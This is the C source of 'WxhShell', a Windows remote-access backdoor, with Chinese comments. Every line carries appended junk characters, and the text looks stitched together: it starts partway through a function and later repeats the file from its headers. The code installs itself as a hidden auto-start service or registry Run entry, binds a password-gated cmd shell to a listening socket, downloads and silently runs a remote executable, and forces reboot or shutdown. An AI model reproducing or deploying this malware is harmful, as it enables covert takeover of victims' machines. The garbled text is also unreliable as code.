    send(wsh,msg_ws_err,strlen(msg_ws_err),0); QPf\lN/$4d  
    else { _;PQt" ]  
    closesocket(wsh); HKJCiQ|k  
    ExitThread(0); ;I*t5{  
    } kc2B_+Y1  
    break; t08U9`w  
    } Eg`~mE+a  
  // 获取shell M$EF 8   
  case 's': { t`JT  
    CmdShell(wsh); s1_Y~<y X  
    closesocket(wsh); $JOz7j(  
    ExitThread(0); ,5c7jZ5H  
    break; ZvF#J_%gE5  
  } bKS/T^UQ  
  // 退出 EcHZ mf  
  case 'x': { I'P|:XKI  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); _K9PA[m5 ~  
    CloseIt(wsh); 3J"`mQ  
    break; uN<=v&]q  
    } [s^p P2  
  // 离开 KcV"<9rE  
  case 'q': { z#Jw?K_  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); l5w^rj  
    closesocket(wsh); tQzbYzGb7  
    WSACleanup(); @M\JzV4 A[  
    exit(1); C,W@C  
    break; J0IKI,X.  
        } _W(xO |,M  
  } R WY>`.su  
  } Bdh*[S\u@E  
-4QZ/*  
  // 提示信息 LkJq Bg  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 85# 3|5n  
} X40gJV<  
  } `S((F|Ty=;  
l)$mpMgAD  
  return; [Z/P[370  
} h's[) t  
xCL)<8[R,}  
// shell模块句柄 rrU(>jA!  
int CmdShell(SOCKET sock) (Yj6 |`  
{ Q)aoc.f!v  
STARTUPINFO si; :j+E]|d(~6  
ZeroMemory(&si,sizeof(si)); vltE2mb  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; zk$h71<{.  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; +iN!$zF5]  
PROCESS_INFORMATION ProcessInfo; x}a?B  
char cmdline[]="cmd"; GThGV"  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ,zZH>P  
  return 0; waC i9  
} Q% aF~  
R~oY R,L;  
// 自身启动模式 A(&\wd  
int StartFromService(void) 9ls1y=M8J  
{ \&vXp"-@  
typedef struct EUw4$Jt^p  
{ ?:vg`m!*  
  DWORD ExitStatus; gs1  
  DWORD PebBaseAddress; |6-9vU!LK?  
  DWORD AffinityMask; 60~*$`  
  DWORD BasePriority; /TbJCZ  
  ULONG UniqueProcessId; bzpi7LKN  
  ULONG InheritedFromUniqueProcessId; $]?pAqU\  
}   PROCESS_BASIC_INFORMATION; 27gHgz}}  
0*:n<T9  
PROCNTQSIP NtQueryInformationProcess; h(q4 B~  
#p=+RTZ<  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; %+/v")8+?  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 1<x5{/CZ  
 e#5WX  
  HANDLE             hProcess; j\KOKvY)  
  PROCESS_BASIC_INFORMATION pbi; iU.` TqR7  
EM<W+YU  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); u^C\aujg  
  if(NULL == hInst ) return 0; K'8o'S_bF  
R5MN;xG^  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Usht\<{  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); hK4ww"-  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); =:T"naY(  
P `<TO   
  if (!NtQueryInformationProcess) return 0; u@Gum|_=N  
J8FzQ2  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ,%m~OB #  
  if(!hProcess) return 0; dT1UYG}>j  
\l(}8;5}  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; )`k+Oyvi<  
>.39OQ#  
  CloseHandle(hProcess); \zcSfNE  
"j`T'%EV  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); iU0jv7}n  
if(hProcess==NULL) return 0; dh}"uM}a  
L9hL@  
HMODULE hMod; _j$V[=kdM/  
char procName[255]; X%!?\3S  
unsigned long cbNeeded; ?>=vKU5  
lKQjG+YF  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); %\v  
h Q Att  
  CloseHandle(hProcess); GXx'"SK9  
d?U,}tv  
if(strstr(procName,"services")) return 1; // 以服务启动 fX:G;vYn  
Lo'G fHE  
  return 0; // 注册表启动 ~&0lWa  
} eG1A7n'6W  
Y edF%  
// 主模块 vRmzjd~  
int StartWxhshell(LPSTR lpCmdLine) S]ndnxy"b  
{ $m.'d*e5  
  SOCKET wsl; JKYtBXOl  
BOOL val=TRUE; /ORK9 g  
  int port=0; KPK`C0mg@k  
  struct sockaddr_in door; ,iiI5FR  
RionKiN  
  if(wscfg.ws_autoins) Install(); 4wS!g10}  
'6WZi|(a  
port=atoi(lpCmdLine); <1sUK4nQ,  
Pmuk !V}f  
if(port<=0) port=wscfg.ws_port; R$/q=*k  
Nde1`W]:  
  WSADATA data; 50S*_4R  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; H6#SP~V  
O>wGJ.  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   5*"WS $  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ) \cnz  
  door.sin_family = AF_INET; tr 8Q{  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); N:^4On VR  
  door.sin_port = htons(port); 00W_XhJ  
<1V>0[[e  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { zS\m8[+]  
closesocket(wsl); u7wZPIC{_  
return 1; } F*=+n  
} IxlPpS9Wx  
iQh:y:Jo1&  
  if(listen(wsl,2) == INVALID_SOCKET) { p{V(! v|  
closesocket(wsl); sYTToanA$?  
return 1; 78mJ3/?rC  
} FP6Jf I8  
  Wxhshell(wsl); fb]=MoiJ  
  WSACleanup(); 7z&^i-l.  
\Zk<|T61$  
return 0; ^^Q> AfTR.  
||Wg'$3  
} H,fVF837  
.fzns20u  
// 以NT服务方式启动 Yj>\WH  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) toox`|  
{ Im`R2_(]  
DWORD   status = 0; ~r]$(V n  
  DWORD   specificError = 0xfffffff; >&qaT*_g  
3A b_Z  
  serviceStatus.dwServiceType     = SERVICE_WIN32; :rmi8!o  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; Zvz}Z8jW  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; JZNvuPD   
  serviceStatus.dwWin32ExitCode     = 0; =?B[oq  
  serviceStatus.dwServiceSpecificExitCode = 0; vinn|_s%  
  serviceStatus.dwCheckPoint       = 0; L!W5H2Mc  
  serviceStatus.dwWaitHint       = 0; 'Ya-;5Y]  
KU0;}GSNX}  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); PurY_  
  if (hServiceStatusHandle==0) return; cmLI!"RLe  
apm,$Vvjy  
status = GetLastError(); 6;\Tps;A  
  if (status!=NO_ERROR) hcD.-(-;)  
{ iEBxBsz_  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; fVBu?<=d  
    serviceStatus.dwCheckPoint       = 0; 6[1lK8o  
    serviceStatus.dwWaitHint       = 0; 0Szt^l7  
    serviceStatus.dwWin32ExitCode     = status; Fo| rRI2  
    serviceStatus.dwServiceSpecificExitCode = specificError; dC}4Er  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); w >#.id[k  
    return; zU>bT20x/  
  } EO.}{1m=hx  
gG6BEsGa,  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; \o!B:Vb<  
  serviceStatus.dwCheckPoint       = 0; cp 7;~i3  
  serviceStatus.dwWaitHint       = 0; /%)x!dmy  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); v.]W{~PI2V  
} htqC~B{1E  
`>$l2,  
// 处理NT服务事件,比如:启动、停止 oo,3mat2C  
VOID WINAPI NTServiceHandler(DWORD fdwControl) (<5&<JC{  
{ 6~(iLtd#  
switch(fdwControl) ^F$iD (f  
{ af2yng  
case SERVICE_CONTROL_STOP: BO=j*.YKy  
  serviceStatus.dwWin32ExitCode = 0; Nxt z1  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; WG*S:_?  
  serviceStatus.dwCheckPoint   = 0; Q92hI"  
  serviceStatus.dwWaitHint     = 0; )pt#Pu  
  { N Y~y:*:Q  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); "/U~j4O  
  } ,`l8KRd  
  return; _;5N@2?  
case SERVICE_CONTROL_PAUSE: gNo}\ lm4V  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; V_7QWIdiy>  
  break; vJ!<7 l&  
case SERVICE_CONTROL_CONTINUE: *Ry "`"  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 5},kXXN{+  
  break; k;y5nXIlN  
case SERVICE_CONTROL_INTERROGATE: v/DWy(CC  
  break; 5-X(K 'Q  
}; s av  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); DC%H(2  
} +aIy':P  
C")NN s =  
// 标准应用程序主函数 yE),GJ-m\<  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Q" an6ht|  
{ qw%wyj7  
+q4AK<y-  
// 获取操作系统版本 wpPCkfPyL  
OsIsNt=GetOsVer(); 5U&?P   
GetModuleFileName(NULL,ExeFile,MAX_PATH); &8wluOs/5  
3sq(FsT  
  // 从命令行安装 J#& C&S 2  
  if(strpbrk(lpCmdLine,"iI")) Install(); :>otlI<0t  
q'awV5y  
  // 下载执行文件 E#cZM>  
if(wscfg.ws_downexe) { .9;wJ9Bw[  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 5%Q[X  
  WinExec(wscfg.ws_filenam,SW_HIDE); rN^P//  
} 7Cj6Kw5k  
Tn8GLn  
if(!OsIsNt) { q!zsGf {  
// 如果时win9x,隐藏进程并且设置为注册表启动 J deGQ  
HideProc(); O:,Fif?;  
StartWxhshell(lpCmdLine); ]):kMRv  
} <oWoJP`G  
else x?B8b-*  
  if(StartFromService()) KZ)p\p<1  
  // 以服务方式启动 oVSq#I4  
  StartServiceCtrlDispatcher(DispatchTable); ;iEFG^'tG  
else KUqD<Jj?  
  // 普通方式启动 HN tl>H  
  StartWxhshell(lpCmdLine); ?rn#S8nNx<  
y7CrH=^jc  
return 0; }PDNW  
} 0if~qGm=!  
+b]+5!  
<+c6CM$#}V  
7&z`N^dz{  
=========================================== "ewB4F[  
q9&d24|  
^g56:j~?  
77I D 82  
4h[^!up.7  
e:  
" 4^O'K;$leD  
Mz sDDP+h  
#include <stdio.h> hVcV_  
#include <string.h> u*$ 1e  
#include <windows.h> C}{$'#DV2  
#include <winsock2.h> :2fz4n0{/  
#include <winsvc.h> M(2c{TT  
#include <urlmon.h> }Myi0I<  
fXHN m$"n  
#pragma comment (lib, "Ws2_32.lib") A[6$'IJ  
#pragma comment (lib, "urlmon.lib") 3%W R  
L>mv\D;o.  
#define MAX_USER   100 // 最大客户端连接数 pPdOw K#  
#define BUF_SOCK   200 // sock buffer ~\z\f} w  
#define KEY_BUFF   255 // 输入 buffer jci'q=Vpu  
JUlV$b.)J  
#define REBOOT     0   // 重启 4V`ypFme  
#define SHUTDOWN   1   // 关机 /# M|V6n  
[=Yfdh M8S  
#define DEF_PORT   5000 // 监听端口 kEQ${F{  
@:s|X  
#define REG_LEN     16   // 注册表键长度 >aZ$x/U+Iw  
#define SVC_LEN     80   // NT服务名长度 `8 Dgk}  
2ajQ*aNq  
// 从dll定义API MyOdWD&7  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); b)A$lP%`  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); J 8"Cw<=O  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); e ga< {t  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); c!BiGw,;  
W1s4[rL!Ht  
// wxhshell配置信息 m"!!)  
struct WSCFG { v?\bvg\E  
  int ws_port;         // 监听端口 `~"l a>}  
  char ws_passstr[REG_LEN]; // 口令 "yI)F~A  
  int ws_autoins;       // 安装标记, 1=yes 0=no '%>$\Lv  
  char ws_regname[REG_LEN]; // 注册表键名 Q b5AQf30  
  char ws_svcname[REG_LEN]; // 服务名 `q 4%  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 <o_H]c->  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 @Kd lX>i  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Cp_YIcnEJ  
int ws_downexe;       // 下载执行标记, 1=yes 0=no  @GYM4T  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" >4.{|0%ut  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 j!;?=s  
G!54 e  
}; PT|W{RlNl  
$zTjh~ 9  
// default Wxhshell configuration dOFxzk,g&R  
struct WSCFG wscfg={DEF_PORT, H5Rn.n(|  
    "xuhuanlingzhe", i>S /W!F  
    1, : /9@p  
    "Wxhshell", mb*L'y2r  
    "Wxhshell", 3`&2 -  
            "WxhShell Service", iaq0\d.[7  
    "Wrsky Windows CmdShell Service", cvbv\G'aT  
    "Please Input Your Password: ", $b#"Rv  
  1, h!f7/) |[o  
  "http://www.wrsky.com/wxhshell.exe", DiAPs_@  
  "Wxhshell.exe" pbivddi2  
    }; eA>O<Z1>  
'$M=H.  
// 消息定义模块 :Q\b$=,:  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Xv'M\T}6C+  
char *msg_ws_prompt="\n\r? for help\n\r#>"; bf `4GD(  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; @fp(uu  
char *msg_ws_ext="\n\rExit."; )jp#|#h  
char *msg_ws_end="\n\rQuit."; 6P' m0  
char *msg_ws_boot="\n\rReboot..."; <3QE3;4  
char *msg_ws_poff="\n\rShutdown..."; tWi@_Rlx;  
char *msg_ws_down="\n\rSave to "; k[N46=u  
8KD7t&H  
char *msg_ws_err="\n\rErr!"; +gTnq")wnI  
char *msg_ws_ok="\n\rOK!"; n-dO |3,  
-\j}le6;c  
char ExeFile[MAX_PATH]; LD WFc_  
int nUser = 0; D a)[mxJ  
HANDLE handles[MAX_USER]; CCX\"-C  
int OsIsNt; [t /hjm"$  
Ku_`F2Q  
SERVICE_STATUS       serviceStatus; 77OH.E|$  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ]OHzE]Q  
!h2ZrT9 _  
// 函数声明 #zXkg[J6d  
int Install(void); vcAs!ls+  
int Uninstall(void); Warz"n]iC  
int DownloadFile(char *sURL, SOCKET wsh); fAfsKO*  
int Boot(int flag); C}+w<  
void HideProc(void); 5>7ECe*  
int GetOsVer(void); (?&X<=|"  
int Wxhshell(SOCKET wsl); u(?  
void TalkWithClient(void *cs); 8p7Uvn+m*  
int CmdShell(SOCKET sock); L '342(  
int StartFromService(void); 3a_S-&?X  
int StartWxhshell(LPSTR lpCmdLine); V2%FWo|  
W\zg#5fmK  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); qU#Gz7/  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); q[l},nw  
&@A(8(%  
// 数据结构和表定义 dapQ5JT/  
SERVICE_TABLE_ENTRY DispatchTable[] = {y'c*NS  
{ 8|?$KLz?F>  
{wscfg.ws_svcname, NTServiceMain}, G7`7e@{  
{NULL, NULL} \<~[uv'  
}; Q5iuK#/  
`w]=x e  
// 自我安装 ow ~(k5k:  
int Install(void) y`=A$>A  
{ yjpV71!M  
  char svExeFile[MAX_PATH]; ?K{CjwE.M  
  HKEY key; ycRy! 0l  
  strcpy(svExeFile,ExeFile); dV8mI,h  
qr(SAIX"  
// 如果是win9x系统,修改注册表设为自启动 <O>r e3s  
if(!OsIsNt) {  8OZc:/  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { U=p,drF,A  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); [a 5L WW  
  RegCloseKey(key); NZ'S~Lr   
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { _odP:  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); S[{#AX=0  
  RegCloseKey(key); 8MM#q+8  
  return 0; Tul_/`An  
    } |~CN]N  
  } ;58l_ue  
} 7f'9Dm`  
else { RT8xU;   
yEy} PCJ&  
// 如果是NT以上系统,安装为系统服务 Sq}hx  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); rFSLTbTf  
if (schSCManager!=0) &2MW.,e7s  
{ (J][(=s;a  
  SC_HANDLE schService = CreateService wnP#.[,V  
  ( zhU)bb[A  
  schSCManager, c{6!}0Q4  
  wscfg.ws_svcname, bJ]g2C7`36  
  wscfg.ws_svcdisp, +o!".Hp  
  SERVICE_ALL_ACCESS, )wo'i]#2:  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , =g2; sM/  
  SERVICE_AUTO_START, uOEy}&fH  
  SERVICE_ERROR_NORMAL, IBC P6[  
  svExeFile, 9n$GeRO  
  NULL, G{i}z^n  
  NULL, \q(RqD  
  NULL, 'd^U!l  
  NULL, X26gl 'U  
  NULL %w,  
  ); EMmNlj6  
  if (schService!=0) y1(smZU  
  { o';sHa'  
  CloseServiceHandle(schService); )Rn}4)9!iT  
  CloseServiceHandle(schSCManager); UBrYN'QRNt  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Ja| ! fT  
  strcat(svExeFile,wscfg.ws_svcname); ,-&ler~[  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { VieC+Kk  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); C 6ZM#}I$l  
  RegCloseKey(key); T#Qn\ 8  
  return 0; { o=4(RC  
    } YL=?Nk/  
  } AM1J ^Dp  
  CloseServiceHandle(schSCManager); "6lf~%R"  
} OA_:_%a(  
} "?EA G  
Mje6Q  
return 1; d3+pS\&IX?  
} xpKD 'O=T  
0"kNn5  
// 自我卸载 +iir]"8  
int Uninstall(void) !,+peMy  
{ Y{B|*[xM  
  HKEY key; @ O5-w  
`ux U H#  
if(!OsIsNt) { D:U:( pg  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 4T`u?T]  
  RegDeleteValue(key,wscfg.ws_regname); }>=k!l{  
  RegCloseKey(key); 3205gI,  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { K~5QL/=1  
  RegDeleteValue(key,wscfg.ws_regname); p}hOkx4R\  
  RegCloseKey(key); 7KnZ  
  return 0; :t8(w>oW  
  } =M>1;Qr<Z/  
} D%N^iJC,9  
} =2BGS\$#  
else { j~(rG^T  
I&U?8  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); KtUI(*$`  
if (schSCManager!=0) YBN@{P$  
{ p)N=  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); FRQ0tIp  
  if (schService!=0) G,e>dp_cPu  
  { EkgS*q_  
  if(DeleteService(schService)!=0) { lplEQ]J|  
  CloseServiceHandle(schService); WLQm|C,  
  CloseServiceHandle(schSCManager); P&V,x`<Z  
  return 0; mEmznA  
  } fmXA;^%  
  CloseServiceHandle(schService); &/d;4Eu  
  } XL>c TM  
  CloseServiceHandle(schSCManager); '^'vafs-/@  
} ".O+";wk  
} x1W<r)A )r  
^rMkCA@;TZ  
return 1; a?.hvI   
} J4#t1P@Na  
Kgbgp mW  
// 从指定url下载文件 +N: K V}K  
int DownloadFile(char *sURL, SOCKET wsh) 3*"$E_%  
{ ^\Nsx)Y;  
  HRESULT hr; v}!eJzeH  
char seps[]= "/"; ,o& &d.  
char *token; FN NEh  
char *file; 1@6dHFA`o  
char myURL[MAX_PATH];  /L'r L  
char myFILE[MAX_PATH]; TYGUB%A  
V.vA~a  
strcpy(myURL,sURL); qvy~b  
  token=strtok(myURL,seps); Ci0:-IS  
  while(token!=NULL) U+F?b\  
  { dElOy?v  
    file=token; -@X?~4Idz  
  token=strtok(NULL,seps); XZYpU\K  
  } S H2|xn  
r t@Jw]az  
GetCurrentDirectory(MAX_PATH,myFILE); fpJM)HU  
strcat(myFILE, "\\"); vyP3]+n  
strcat(myFILE, file); w>>)3:Ytd  
  send(wsh,myFILE,strlen(myFILE),0); dR<sBYo  
send(wsh,"...",3,0); EYtf>D  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); S#Tc{@e  
  if(hr==S_OK) l)m\i_r:  
return 0; lG/M%i  
else G.OAzA13!t  
return 1; eVyXh>b*  
1{i)7 :Y  
} Kv^ez%I  
fNNkc[YTZI  
// 系统电源模块 ^I=c]D]);  
int Boot(int flag) YQ9@Dk0R  
{ ?Y7'OlO  
  HANDLE hToken; q(4W /y  
  TOKEN_PRIVILEGES tkp; Z{s&myd  
Y u\<  
  if(OsIsNt) { `,gGmh  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); o4,fwPkB  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); &4Q(>"iL4  
    tkp.PrivilegeCount = 1; 1OJD!juL$  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; / PDe<p  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); S C7Tp4  
if(flag==REBOOT) { kwU~kcM  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) rxH*h`Xx@  
  return 0; 3e4; '5q;  
} e6f:@ O?  
else { 8d|omqe~P  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) *{8<4CVv  
  return 0; bCr) 3,  
} _xT=AF9~o  
  } S*-n%D0q5  
  else { k~Qb"6n2  
if(flag==REBOOT) { 83~ Gu[  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) DG,CL8bv  
  return 0; kY*3)KCp  
} ,S 5tkTa  
else { z/6/   
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) {U1 j@pKm  
  return 0; >Y=HP&A<  
} ~SgW+sDF u  
} tgXIj5z  
{j i;~9'Q  
return 1; i1k(3:ay<  
} yQ5&S]Xk$$  
c`}-i6  
// win9x进程隐藏模块 ivg:`$a[  
void HideProc(void) v'nM=  
{ NBHS   
$Y.Z>I;  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 7OY<*ny  
  if ( hKernel != NULL ) iU3)4(R  
  { T&Z%=L_Q  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ,RIGV[u  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); b* Ny  
    FreeLibrary(hKernel);  $0>>Z  
  } GWo^hIfJ  
'zCJK~x`x  
return; m8'B7|s  
} {* S8n09v  
i(P/=B  
// 获取操作系统版本 rvO7e cR"  
int GetOsVer(void) ,0 +%ji^V  
{ 7KIOI,qb6  
  OSVERSIONINFO winfo; KNT(lA0s  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); GyI(1O AW  
  GetVersionEx(&winfo); "8MG[$Y  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) dYEF,\Z'  
  return 1; AffVah2o:  
  else [<SM*fQ>t  
  return 0; 6v~` jS%3  
} y,&.<Yc  
Tdtn-  
// 客户端句柄模块 Y@x }b{3  
int Wxhshell(SOCKET wsl) HDqPqrWm  
{ LDlj4>%pW^  
  SOCKET wsh; VK\ Bjru9  
  struct sockaddr_in client; "#bL/b'{  
  DWORD myID; [P,YW|:n  
C@+"d3  
  while(nUser<MAX_USER) vzD3_ ?D  
{ Q` mw2$zv  
  int nSize=sizeof(client); l%"[857  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); k^3 ?Z2a  
  if(wsh==INVALID_SOCKET) return 1; Z#7T!/28  
*:t]|$;E\  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); i!8 o(!I  
if(handles[nUser]==0) o('W2Bs-o  
  closesocket(wsh); 'Gwa[ |6i  
else wn*<.s  
  nUser++; 0l-m:6  
  } ghvF%-."1  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); mNkS!(L6  
L B`=+FD  
  return 0; }G^Bc4@b  
} 0CXh|AU  
XE8~R5  
// 关闭 socket L~e\uP  
void CloseIt(SOCKET wsh) 2q}M1-^  
{ _4qP0LCa  
closesocket(wsh); =Gsn4>~%n  
nUser--; A*l(0`aWq  
ExitThread(0); v_Om3i9$E  
} +zodkB~)  
s@C KZ`  
// 客户端请求句柄 &8!* u3  
void TalkWithClient(void *cs) c%1 <O!c  
{ *&p`8:  
zTi %j$o  
  SOCKET wsh=(SOCKET)cs; ;)Rvk&J5  
  char pwd[SVC_LEN]; |k5uVhN  
  char cmd[KEY_BUFF]; A WlR" p2  
char chr[1]; [@D+kL*>  
int i,j; WK7=z3mu  
U9:?d>7  
  while (nUser < MAX_USER) { ,EPs>#d  
sO7$b@"u.  
if(wscfg.ws_passstr) { ca>6r`  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); c +Pg[1-  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); `>:ozN#)\  
  //ZeroMemory(pwd,KEY_BUFF); 7{=<_  
      i=0; Kj[X1X5  
  while(i<SVC_LEN) { &.k'Dj2hf  
l:NEK`>i  
  // 设置超时 (WT0 j  
  fd_set FdRead; }W&hPC  
  struct timeval TimeOut; S.o 9AUv9  
  FD_ZERO(&FdRead); v=Ep  
  FD_SET(wsh,&FdRead); aYQ!`mS::M  
  TimeOut.tv_sec=8; v5"5UPi-  
  TimeOut.tv_usec=0; X\3IY:Q@T  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);  _Y@'<S.  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); PAF2=  
1_vaSEov  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); n"B"Aysz  
  pwd=chr[0]; J;+A G^U<  
  if(chr[0]==0xd || chr[0]==0xa) { TbyQ'MbUv  
  pwd=0; 5=CLR  
  break; ahgm*Cpc  
  } cy=,Dr9O  
  i++; d R2#n  
    } v8! 1"FYL  
X$,#OR  
  // 如果是非法用户,关闭 socket 2YvhzL[um  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 0Eq.l<  
} MsOO''o  
?8wFT!J  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); z,XM|-"#<K  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 1G/bqIMg63  
Ve>*KHDSt  
while(1) { S3nA}1R  
F?2(U\k#  
  ZeroMemory(cmd,KEY_BUFF); vPuPSE%M  
.E:QZH'M  
      // 自动支持客户端 telnet标准   ?! dp0<  
  j=0; @Tmqw(n{  
  while(j<KEY_BUFF) { *LJN2;  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); m Nw|S*C  
  cmd[j]=chr[0]; GCul6,w  
  if(chr[0]==0xa || chr[0]==0xd) { p1t9s N,  
  cmd[j]=0; "El$Sat`  
  break; 1fRYXqx  
  } ,ZjbbBZ  
  j++; rlu{C4l  
    } W&`_cGoP  
k^I4z^O=-;  
  // 下载文件 D6Ov]E:fa  
  if(strstr(cmd,"http://")) { mj :8ZZ  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); b\~rL,7(  
  if(DownloadFile(cmd,wsh)) qA:CV(Z  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 7V?]Qif~  
  else H~RWM'_  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 2&fIF}vk>m  
  } ]5D?Sc#-  
  else { Uxx=$&#  
OIB~ W  
    switch(cmd[0]) { u{=(] n  
  'LIJpk3J  
  // 帮助 Q%~b(4E^7P  
